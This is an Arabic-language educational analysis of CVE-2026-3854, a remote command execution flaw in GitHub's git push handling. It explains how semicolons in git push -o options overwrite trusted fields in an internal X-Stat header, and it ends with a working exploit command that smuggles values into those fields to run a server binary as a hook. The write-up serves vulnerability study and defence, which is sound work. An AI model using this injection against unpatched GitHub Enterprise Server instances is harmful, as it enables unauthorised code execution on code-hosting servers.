
# تحليل تقني لـ CVE-2026-3854، ثغرة تنفيذ أوامر عن بُعد (RCE) في GitHub عبر حقن الترويسات في git push، مع شرح الثغرة وتقنية الاستغلال وطرق التخفيف.
ملخص عملي لكيفية عمل الثغرة التي اكتشفها فريق Wiz Research في خط أنابيب git push الداخلي لـ GitHub.com و GitHub Enterprise Server.
هذه المادة لأغراض تعليمية وبحثية في مجال الأمن الهجومي. تم إصلاح الثغرة بالفعل بواسطة GitHub في جميع الإصدارات المدعومة. لا تحاول إعادة إنتاجها ضد بيئات ليست ملكك أو ليس لديك إذن صريح كتابي لاختبارها. الوصول غير المصرح به إلى الأنظمة يُعد جريمة في البرازيل (القانون 12.737/2012، المعروف بقانون كارولينا ديكمان) وقد يُشكل اختراقًا لجهاز حاسوبي يعاقب عليه بالحبس.
يمكن للمهاجم المُصادق عليه تحقيق RCE في GitHub عن طريق إرسال ; في git push -o. إن babeld (الوكيل الداخلي لـ GitHub، نقطة الدخول لكل SSH) لا يقوم بتعقيم المدخلات، و ; يكسر الترويسة الداخلية X-Stat، مما يؤدي إلى الكتابة فوق حقول أمنية يثق بها بشكل أعمى. مع 3 عمليات كتابة فوق (rails_env، custom_hooks_dir، repo_pre_receive_hooks)، يقوم خطاف pre-receive بدمج وتنفيذ ملف ثنائي عشوائي من الخادم كمستخدم git.
gitrpcd
ببساطة، نتمكن من الكتابة في الترويسة X-Stat لأنه لا يوجد تعقيم لـ ; في git push، ونقوم بذلك عن طريق توجيهه إلى مسار من خادم الهدف، مثال /bin، ومن ثم نتمكن من دمجه مع "حقل" آخر من هذه الترويسة، وهو repo_pre_receive_hooks. بهذا، إذا كان هذا الحقل whoami، فسيصبح في الدمج /bin/ + whoami وسيتم تنفيذه مباشرة على الخادم.
لكن افتراضيًا في X-Stat، تأتي هذه الحقول كلها معبأة مسبقًا بواسطة babeld، لأن RPC (gitrpcd) يثق بها بشكل أعمى لقراءتها، حيث يعتقد أن المستخدم لا يمكنه تعديلها:
فيما يلي مثال على كيفية قيام babeld بتعبئة الحقول في X-Stats:
rails_env=production;
user_id=int:42531;
user_login=paulo.werneck;
repo_id=int:8821;
repo_path=/data/repositories/a/b/cd/ef/12/8821.git;
operator_mode=bool:false;
user_operator_mode=bool:false;
custom_hooks_dir=/data/user/git-hooks;
repo_pre_receive_hooks=[{"id":1,"script":"validate-commit.sh","enforcement":"required"}];
large_blob_rejection_enabled=bool:true;
max_blob_size=int:104857600;
reject_sha_like_refs=bool:true;
push_option_count=int:0
لكن نظرًا لعدم قيامه بتعقيم ; أثناء git push، يمكنك الكتابة مباشرة فيه، ولإتمام الأمر بشكل مثالي، فهو last-write-wins، أي أن آخر كتابة هي التي تسود. لذا إذا قمت بتنفيذ:
git push -o "x;rails_env=production" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"
تصبح الحقول المكتوبة فوقها:
custom_hooks_dir=/bin
repo_pre_receive_hooks=whoami
(الأمر ليس بهذه البساطة، كما في المثال أعلاه بمجرد وضع whoami. إنه في الواقع JSON، لذا سيكون شيئًا أقرب إلى [{"script":"whoami"}].)
ومن ثم، في إصدار ضعيف، سيتم تنفيذ الملف الثنائي whoami على الخادم.
لكن هذا وحده سيظل يعمل فقط داخل بيئة معزولة (sandbox). لهذا السبب من المهم تعديل معامل إضافي في ترويسة X-Stats، وهو rails_env=production. يجب أن يكون أي شيء آخر غير production.
أخيرًا، سيصبح السكربت الخبيث هكذا:
git push -o "x;rails_env=development" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"